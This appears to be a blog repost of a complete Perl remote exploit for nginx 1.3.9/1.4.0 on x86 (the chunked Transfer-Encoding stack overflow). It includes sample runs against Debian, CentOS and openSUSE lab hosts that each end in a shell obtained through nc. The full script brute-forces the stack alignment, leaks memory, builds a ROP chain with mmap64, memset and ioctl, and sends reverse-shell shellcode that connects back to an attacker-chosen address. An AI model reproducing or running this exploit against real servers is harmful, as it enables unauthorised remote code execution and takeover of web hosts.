nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit

测试方法:

  • #nginx 1.3.9/1.4.0 x86 brute force remote exploit
  • # copyright (c) 2013 kingcope
  • #—————————-
  • #fix for internet exploitation, set MTU:
  • #ifconfig <interface> mtu 60000 up
  • #
  • ###
  • # !!! WARNING !!!
  • # this exploit is unlikely to succeed when used against remote internet hosts.
  • # the reason is that nginx uses a non-blocking read() at the remote connection,
  • # this makes exploitation of targets on the internet highly unreliable.
  • # (it has been tested against a testbed on the internet but I couldn’t exploit
  • # any other box with it. required was the above ifconfig setting on the client.
  • # maybe enabling large tcp frame support on a gigabit connection is more
  • # useful)
  • # so use it inside intranets only (duh!), this remains a PoC for now 😀
  • # The exploit does not break stack cookies but makes use of a reliable method
  • # to retrieve all needed offsets for Linux x86 and pop a shell.
  • ###
  • #TODO
  • #*cleanup code
  • #*implement stack cookie break and amd64 support
  • #*support proxy_pass directive
  • ###
  • =for comment
  • TARGET TESTS (Debian,Centos,OpenSuSE)
  • 1.Debian7
  • perl ngxunlock.pl 192.168.27.14680192.168.27.146443
  • Testingif remote httpd is vulnerable % SEGV %
  • YES %
  • Finding align distance (estimate)
  • testing 5250 align % SEGV %
  • testing 5182 align % SEGV %
  • Verifying align
  • Finding align distance (estimate)
  • testing 5250 align % SEGV %
  • testing 5182 align % SEGV %
  • Finding write offset, determining exact align
  • testing 0x08049c50,5184 align % SURVIVED %
  • Extracting memory \
  • bin search done, read 20480 bytes
  • exact align found 5184
  • Finding exact library addresses
  • trying plt 0x08049a32, got 0x080bc1a4,function0xb76f4a80% FOUND exact ioctl 0x08049a30%
  • trying plt 0x08049ce2, got 0x080bc250,function0xb773e890% FOUND exact memset 0x08049ce0%
  • trying plt 0x08049d52, got 0x080bc26c,function0xb76f8d40% FOUND exact mmap64 0x08049d50%
  • Found library offsets, determining mnemonics
  • trying 0x0804ed2d% SURVIVED %
  • exact large pop ret 0x0804a7eb
  • exact pop x3 ret 0x0804a7ee
  • bin search done|
  • See reverse handler for success
  • nc v l p 443
  • listening on [any]443
  • 192.168.27.146: inverse host lookup failed:Unknown host
  • connect to [192.168.27.146]from(UNKNOWN)[192.168.27.146]34778
  • uname a;id;
  • Linux dakkong 3.2.04686pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
  • uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
  • cat /etc/debian_version
  • 7.1
  • 2.CentOS6.4
  • perl ngxunlock.pl 192.168.27.12980192.168.27.129443
  • Testingif remote httpd is vulnerable % SEGV %
  • YES %
  • Finding align distance (estimate)
  • testing 5250 align % SEGV %
  • testing 5194 align % SEGV %
  • Verifying align
  • Finding align distance (estimate)
  • testing 5250 align % SEGV %
  • testing 5194 align % SEGV %
  • Finding write offset, determining exact align
  • testing 0x08049990,5200 align % SURVIVED %
  • Extracting memory /
  • bin search done, read 20480 bytes
  • exact align found 5200
  • Finding exact library addresses
  • trying plt 0x080499f2, got 0x080b31ac,function0x0094a6b0% FOUND exact memset 0x080499f0%
  • trying plt 0x08049b52, got 0x080b3204,function0x008f1fd0% FOUND exact ioctl 0x08049b50%
  • trying plt 0x08049f12, got 0x080b32f4,function0x008f72c0% FOUND exact mmap64 0x08049f10%
  • Found library offsets, determining mnemonics
  • trying 0x0804e9d4% SURVIVED %
  • exact large pop ret 0x0806194d
  • exact pop x3 ret 0x0804a832
  • bin search done/
  • See reverse handler for success
  • nc v l 443
  • Connectionfrom192.168.27.129 port 443[tcp/https] accepted
  • uname a;id;
  • Linux localhost.localdomain 2.6.32358.el6.i686#1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
  • uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0s0:c0.c1023
  • cat /etc/redhat*
  • CentOS release 6.4(Final)
  • 3.OpenSuSE12.1
  • perl ngxunlock.pl 192.168.27.13580192.168.27.135443
  • Testingif remote httpd is vulnerable % SEGV %
  • YES %
  • Finding align distance (estimate)
  • testing 5250 align % SEGV %
  • testing 5182 align % SEGV %
  • Verifying align
  • Finding align distance (estimate)
  • testing 5250 align % SEGV %
  • testing 5182 align % SEGV %
  • Finding write offset, determining exact align
  • testing 0x08049a18,5184 align % SURVIVED %
  • Extracting memory \
  • bin search done, read 20480 bytes
  • exact align found 5184
  • Finding exact library addresses
  • trying plt 0x08049a6a, got 0x080be08c,function0xb75f74f0% FOUND exact memset 0x08049a68%
  • trying plt 0x08049b8a, got 0x080be0d4,function0xb764b160% FOUND exact ioctl 0x08049b88%
  • trying plt 0x08049eea, got 0x080be1ac,function0xb76501e0% FOUND exact mmap64 0x08049ee8%
  • Found library offsets, determining mnemonics
  • trying 0x0804ea7f% SURVIVED %
  • exact large pop ret 0x0804a7fa
  • exact pop x3 ret 0x0804a101
  • bin search done
  • See reverse handler for success
  • Connectionfrom192.168.27.135 port 443[tcp/https] accepted
  • uname a;id;
  • Linux linux01xg3.1.01.2desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
  • uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)
  • cat /etc/SuSE-*
  • openSUSE
  • VERSION =12.1
  • openSUSE 12.1(i586)
  • VERSION =12.1
  • CODENAME =Asparagus
  • =cut
  • use IO::Socket;
  • if($#ARGV < 3) {
  • print“nginx remote exploit\n”;
  • print“copyright (c) 2013 kingcope\n”;
  • print“usage: $0 <target> <target port> <reverse ip> <reverse port>\n”;
  • exit;
  • }
  • $target = $ARGV[0];
  • $targetport = $ARGV[1];
  • $cbip = $ARGV[2];
  • $cbport = $ARGV[3];
  • #linux reverse shell by bighawk
  • $lnxcbsc =
  • “\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b”
  • .“\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68”
  • .“\x7f\x7f\x7f\x7f”# IP
  • .“\x66\x68”.“\xb0\xef”# PORT
  • .“\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66”
  • .“\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2”
  • .“\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80”;
  • ($a1, $a2, $a3, $a4)= split(//, gethostbyname(“$cbip”));
  • substr($lnxcbsc,31,4, $a1 . $a2 . $a3 . $a4);
  • ($p1, $p2)= split(//, reverse(pack(“s”, $cbport)));
  • $p1 = chr(ord($p1));
  • $p2 = chr(ord($p2));
  • substr($lnxcbsc,37,2, $p1 . $p2);
  • $|=1;
  • $uri=“”;
  • ###test target vulnerable
  • #XXX
  • #$k = 0x80498d0;
  • #$align2 = 5200;
  • #$alignplus=0;
  • #goto debug;
  • print“Testing if remote httpd is vulnerable “;
  • $uritested =0;
  • test:
  • goto l;
  • connecterr:
  • if($j==0){
  • print“\nDestination host unreachable\n”;
  • exit;
  • }
  • goto again;
  • l:
  • for($j=0;$j<15;$j++){
  • again:
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto connecterr};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: close\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”,0xc0debabe);
  • twinkle();
  • print $sock $req;
  • send($sock,“A” x (55551024). $stack, MSG_OOB);
  • $l = read($sock, $buffer,0x10);
  • close($sock);
  • twinkle();
  • if($buffer =~/HTTP\/1.1/){
  • next;
  • }
  • if($l <=0){
  • print“% SEGV %\n”;
  • print“YES %\n”;
  • goto yes;
  • }
  • }
  • if($uritested ==0){
  • $uri =“50x.html”;
  • $uritested=1;
  • goto test;
  • }
  • print“\n\\\\ NO %\n”;
  • print“\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n”;
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto connecterr};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“GET / HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”,0xc0debabe);
  • print $sock $req;
  • send($sock,“A” x (55551024). $stack, MSG_OOB);
  • $line =0;
  • while(<$sock>){
  • print;
  • if($line >30){
  • last;
  • }
  • }
  • exit;
  • ###find align
  • $verifyalign =0;
  • yes:
  • print“Finding align distance (estimate)\n”;
  • for($align=4050;$align<6000;$align+=100){
  • for($j=0;$j<15;$j++){
  • printf(“testing %d align “,$align);
  • again0_1:
  • # $sock = IO::Socket::INET->new(PeerAddr => $target,
  • # PeerPort => $targetport,
  • # Proto => ‘tcp’) || {goto again0_1};
  • # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  • # $req = “HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • # .”Connection: close\r\n\r\n”;
  • # print $sock $req;
  • # close($sock);
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again0_1};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”,0xc0debabe);
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack, MSG_OOB);
  • $l = read($sock, $buffer,0x10);
  • twinkle();
  • close($sock);
  • if($l <=0){
  • if($align ==4050){
  • gotoout;
  • }
  • print” % SEGV %\n”;
  • $alignstart = $align100;
  • goto incalign;
  • }
  • print“\r\r\r\r”;
  • if($buffer =~/HTTP\/1.1/){
  • next;
  • }
  • close($sock);
  • }
  • }
  • out:
  • print“\n\\\\ Align not found\n”;
  • exit;
  • incalign:
  • for($align=$alignstart;$align<6000;$align++){
  • for($j=0;$j<7;$j++){
  • printf(“testing %d align “,$align);
  • again0_2:
  • # $sock = IO::Socket::INET->new(PeerAddr => $target,
  • # PeerPort => $targetport,
  • # Proto => ‘tcp’) || {goto again0_2};
  • # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  • # $req = “HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • # .”Connection: close\r\n\r\n”;
  • # print $sock $req;
  • # close($sock);
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again0_2};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”,0xc0debabe);
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack, MSG_OOB);
  • $l = read($sock, $buffer,0x10);
  • twinkle();
  • close($sock);
  • if($l <=0){
  • print” % SEGV %\n”;
  • if($verifyalign ==0){
  • print“Verifying align\n”;
  • $verifyalign = $align;
  • goto yes;
  • }
  • if(($align > $verifyalign +4)||($align < $verifyalign 4)){
  • print“\\\\ Align and verfied align do not match\n”;
  • exit;
  • }
  • if($verifyalign < $align){
  • $align = $verifyalign;
  • }
  • gotobegin;
  • }
  • print“\r\r\r\r”;
  • if($buffer =~/HTTP\/1.1/){
  • next;
  • }
  • close($sock);
  • }
  • }
  • print“\n\\\\ could not find align value. bailing out”;
  • exit;
  • ###find write offset
  • begin:
  • print“Finding write offset, determining exact align\n”;
  • $align2 = $align;
  • $ok =0;
  • #for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
  • for($k=0x08049800;$k<=0x0804FFFF;$k+=4){
  • #for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) {
  • for($alignplus=0;$alignplus<7;$alignplus++){
  • debug:
  • for($j=0;$j<10;$j++){
  • if(pack(“V”, $k)=~/\x20/){
  • next;
  • }
  • $align = $align2 + $alignplus;
  • printf(“testing 0x%08x, %d align “,$k,$align);
  • again1:
  • # if ($ok==0) {
  • # $sock = IO::Socket::INET->new(PeerAddr => $target,
  • # PeerPort => $targetport,
  • # Proto => ‘tcp’) || {goto again1};
  • # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
  • # $req = “HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • # .”Connection: close\r\n\r\n”;
  • # print $sock $req;
  • # close($sock);
  • # }
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again1};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • # $k = 0x8049e30; #XXX
  • $stack = pack(“V”, $k)# write plt assumed,eg 0x804ab6c
  • .“ZZZZ”# crash dummy
  • .“\x03\x00\x00\x00”# write file descriptor
  • . pack(“V”, $k0x1000)# write buffer
  • .“\xff\xff\xf0\x00”;# write size
  • #$p = <stdin>;
  • print $sock $req;
  • if($ok ==0){
  • send($sock,“A” x ($align1024). $stack .“A” x 1000, MSG_OOB);
  • }else{
  • send($sock,“A” x ($align1024). $stack .“A” x 500, MSG_OOB);
  • }
  • $l = read($sock, $buffer,0x5000);
  • twinkle();
  • close($sock);
  • #0x8049c50
  • if($buffer =~/HTTP\/1.1/){
  • if($ok ==0){
  • print“\r\r\r\r”;
  • next;
  • }else{
  • goto again1;
  • }
  • }
  • if($ok ==1&& length($buffer)<0x2000){
  • goto again1;
  • }
  • if(length($buffer)>350){
  • if($ok ==0){
  • $ok =1;
  • print” % SURVIVED %\n”;
  • print(“Extracting memory “);
  • goto again1;
  • }
  • print“\nbin search done, “;
  • printf(“read %d bytes\n”, $l);
  • goto hit;
  • }
  • print“\r\r\r\r”;
  • }
  • }
  • }
  • print“\n\\\\unable to get write offset\n”;
  • exit;
  • hit:
  • printf(“exact align found %d\n”, $align);
  • print“Finding exact library addresses\n”;
  • $write = $k;
  • $writeless = $write0x1000;
  • ### find offsets for mmap64, memset and ioctl
  • $mmap64 =“”;
  • $ioctl =“”;
  • $memset =“”;
  • $mmap64_prefix =
  • “\x55\x53\x56\x57\x8b\x54\x24\x28”
  • .“\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f”
  • .“\x00\x00\x75”;
  • $ioctl_prefix =
  • “\x53\x8b\x54\x24\x10\x8b\x4c\x24”
  • .“\x0c\x8b\x5c\x24\x08\xb8\x36\x00”
  • .“\x00\x00”;
  • $memset_prefix =
  • “\x53\x8b\x4c\x24\x10\x0f\xb6\x44”
  • .“\x24\x0c\x88\xc4\x89\xc2\xc1\xe0”
  • .“\x10\x09\xd0\x8b\x54\x24\x08\x83”;
  • $memset_prefix2 =
  • “\xfc\x57\x8b\x54\x24\x08\x8b\x4c”
  • .“\x24\x10\x0f\xb6\x44\x24\x0c\xe3”
  • .“\x2c\x89\xd7\x83\xe2\x03\x74\x11”;
  • $memset_prefix3 =
  • “\x57\x8b\x7c\x24\x08\x8b\x54\x24”
  • .“\x10\x8a\x44\x24\x0c\x88\xc4\x89”
  • .“\xc1\xc1\xe0\x10\x66\x89\xc8\xfc”;
  • $memset_prefix4 =
  • “\x55\x89\xe5\x57\x56\x83\xec\x04”.
  • “\x8b\x75\x08\x0f\xb6\x55\x0c\x8b”.
  • “\x4d\x10\x89\xf7\x89\xd0\xfc\x83”;
  • $buffer2 = $buffer;
  • $buffer3 = $buffer;
  • plt_again:
  • $buffer2 = $buffer3;
  • for(;;){
  • $i = index($buffer2,“\xff\x25”);
  • if($i >=0){
  • if(($j = index($buffer3, substr($buffer2, $i,50)))<=0){
  • $buffer2 = substr($buffer2, $i+2);
  • next;
  • }
  • $buffer2 = substr($buffer2, $i+2);
  • $address = $writeless + $j;
  • ### delve into library function
  • printf “trying plt 0x%08x, “,($address+2);
  • again2:
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again2};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”, $write)# write plt
  • .“ZZZZ”# crash dummy
  • .“\x03\x00\x00\x00”# write file descriptor
  • . pack(“V”, $address+2)# write buffer
  • .“\x00\x03\x00\x00”;# write size
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack .“A” x 1000, MSG_OOB);
  • $l = read($sock, $buffer,0x300);
  • if($buffer =~/HTTP\/1.1/){
  • goto again2;
  • }
  • if($l ==0x300){
  • $gotentry = unpack(“V”, substr($buffer,0,4));
  • if($gotentry ==0){
  • print“\r\r\r\r”;
  • next;
  • }
  • close($sock);
  • }else{
  • close($sock);
  • goto again2;
  • }
  • printf “got 0x%08x, “, $gotentry;
  • again3:
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again3};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”, $write)# write plt
  • .“ZZZZ”# crash dummy
  • .“\x03\x00\x00\x00”# write file descriptor
  • . pack(“V”, $gotentry)# write buffer
  • .“\x00\x03\x00\x00”;# write size
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack .“A” x 1000, MSG_OOB);
  • $l = read($sock, $buffer,0x300);
  • close($sock);
  • if($buffer =~/HTTP\/1.1/){
  • goto again3;
  • }
  • if($l ==0x300){
  • $function = unpack(“V”, substr($buffer,0,4));
  • }else{
  • goto again3;
  • }
  • if($function ==0){
  • print“\r\r\r\r”;
  • next;
  • }
  • printf “function 0x%08x “, $function;
  • again4:
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again4};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”, $write)# write plt
  • .“ZZZZ”# crash dummy
  • .“\x03\x00\x00\x00”# write file descriptor
  • . pack(“V”, $function)# write buffer
  • .“\xff\xff\xf0\x00”;# write size
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack .“A” x 1000, MSG_OOB);
  • #$p = <stdin>;
  • $l = read($sock, $buffer,0x500);
  • close($sock);
  • if($buffer =~/HTTP\/1.1/){
  • goto again4;
  • }
  • if($l !=0x500){
  • goto again4;
  • }
  • ###
  • if(substr($buffer,0, length($mmap64_prefix)) eq
  • $mmap64_prefix){
  • $mmap64 = $address;
  • printf(” %% FOUND exact mmap64 0x%08x %%\n”, $mmap64);
  • }
  • if((substr($buffer,0, length($memset_prefix)) eq
  • $memset_prefix)or
  • (substr($buffer,0, length($memset_prefix2)) eq
  • $memset_prefix2)or
  • (substr($buffer,0, length($memset_prefix3)) eq
  • $memset_prefix3)or
  • (substr($buffer,0, length($memset_prefix4)) eq
  • $memset_prefix4)){
  • $memset = $address;
  • printf(” %% FOUND exact memset 0x%08x %%\n”, $memset);
  • }
  • if(substr($buffer,0, length($ioctl_prefix)) eq
  • $ioctl_prefix){
  • $ioctl = $address;
  • printf(” %% FOUND exact ioctl 0x%08x %%\n”, $ioctl);
  • }
  • if(($mmap64 ne “”)and($memset ne “”)and($ioctl ne “”)){
  • goto gotplt;
  • }
  • print“\r\r\r\r”;
  • }else{
  • last;
  • }
  • }
  • print“\nFinding exact library addresses\n”;
  • goto plt_again;
  • gotplt:
  • print“Found library offsets, determining mnemonics\n”;
  • ### find pop pop pop ret
  • ### to set socket blocking
  • for($k=$write +0x5000;;$k++){
  • printf(“trying 0x%08x “,$k);
  • again5:
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again5};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: keep-alive\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”, $ioctl)
  • . pack(“V”, $k)# pop pop pop ret assumed
  • .“\x03\x00\x00\x00”
  • .“\x21\x54\x00\x00”
  • .“\x08\x80\x04\x08”# null byte
  • . pack(“V”, $write)# write plt found
  • .“ZZZZ”# crash dummy
  • .“\x03\x00\x00\x00”# write file descriptor
  • . pack(“V”, $write)# write buffer
  • .“\xff\xff\x0f\x00”;# write size
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack .“A” x 1000, MSG_OOB);
  • #$p = <stdin>;
  • $l = read($sock, $buffer,0xfffff);
  • close($sock);
  • twinkle();
  • if($buffer =~/HTTP\/1.1/){
  • again5;
  • }
  • if($l >0xfff){
  • print” % SURVIVED %\n”;
  • close($sock);
  • goto hit2;
  • }
  • print“\r\r\r\r”;
  • next;
  • }
  • hit2:
  • ###send attack buffer
  • ###find largepopret
  • @matches= $buffer =~/(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
  • foreach $m (@matches){
  • $i = index($buffer, $m);
  • twinkle();
  • print“\r”;
  • if($i >=0){
  • $__largepopret = $write + $i;
  • printf(“exact large pop ret 0x%08x\n”, $__largepopret);
  • goto hit3;
  • }
  • }
  • print“\\\\ large pop ret not found\n”;
  • exit;
  • hit3:
  • ###find poppoppopret
  • @matches= $buffer =~/([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
  • foreach $m (@matches){
  • $i = index($buffer, $m);
  • if($i >=0){
  • $__poppoppopret = $write + $i;
  • printf(“exact pop x3 ret 0x%08x\n”, $__poppoppopret);
  • goto attack;
  • }
  • }
  • print“\\\\ poppoppopret not found\n”;
  • exit;
  • attack:
  • $largepopret = pack(“V”, $__largepopret);
  • $popblock =“\x00\x00\x00\x00”
  • .“\x00\x00\x00\x00”
  • .“\x00\x00\x00\x00”
  • .“\x00\x00\x00\x00”;
  • $popret = pack(“V”, $__poppoppopret+2);
  • $poppoppopret = pack(“V”, $__poppoppopret);
  • $pop3ret = $__poppoppopret;
  • $copycode =“\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4”
  • .“\xeb\xff”;
  • $memsetcode =“”;
  • $copyaddress =0x10000000;
  • for($i=0;$i<length($copycode);$i++){
  • $byte = substr($copycode, $i,1);
  • $memsetcode .= pack(“V”, $memset)
  • . pack(“V”, $pop3ret)
  • . pack(“V”, $copyaddress)
  • . $byte .“\x00\x00\x00”
  • .“\x01\x00\x00\x00”;
  • $copyaddress++;
  • }
  • for($q=0;$q<10;$q++){
  • print“bin search done “;
  • sleep(1);
  • twinkle();
  • print“\r”
  • }
  • print“\n”;
  • print“See reverse handler for success\n”;
  • again6:
  • $sock = IO::Socket::INET->new(PeerAddr=> $target,
  • PeerPort=> $targetport,
  • Proto=>‘tcp’)||{goto again6};
  • setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
  • $req =“HEAD /$uri HTTP/1.1\r\nHost: $target\r\n”
  • .“Connection: close\r\n”
  • .“Transfer-Encoding:chunked\r\n\r\n”;
  • $req .=“0” x (1024length($req)-16).“8000000000003770”;
  • $stack = pack(“V”, $mmap64)
  • . $largepopret
  • .“\x00\x00\x00\x10”# mmap start
  • .“\x00\x10\x00\x00”# mmap size
  • .“\x07\x00\x00\x00”# mmap prot
  • .“\x32\x00\x00\x00”# mmap flags
  • .“\xff\xff\xff\xff”# mmap fd
  • .“\x00\x00\x00\x00”# mmap offset
  • .“\x00\x00\x00\x00”# mmap offset
  • . $popblock
  • . $memsetcode
  • .“\x00\x00\x00\x10”# JUMP TO 0x10000000 (rwxp addr)
  • .“\x90” x 100. $lnxcbsc;
  • #$p = <stdin>;
  • print $sock $req;
  • send($sock,“A” x ($align1024). $stack .“A” x 1000, MSG_OOB);
  • close($sock);
  • goto again6;# XXX
  • my $current =0;
  • sub twinkle {
  • $cursors[0]=“|”;
  • $cursors[1]=“/”;
  • $cursors[2]=“-“;
  • $cursors[3]=“\\”;
  • print“$cursors[$current++]\b”;
  • if($current >3){
  • $current =0;
  • }
  • }
  • Related Posts

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注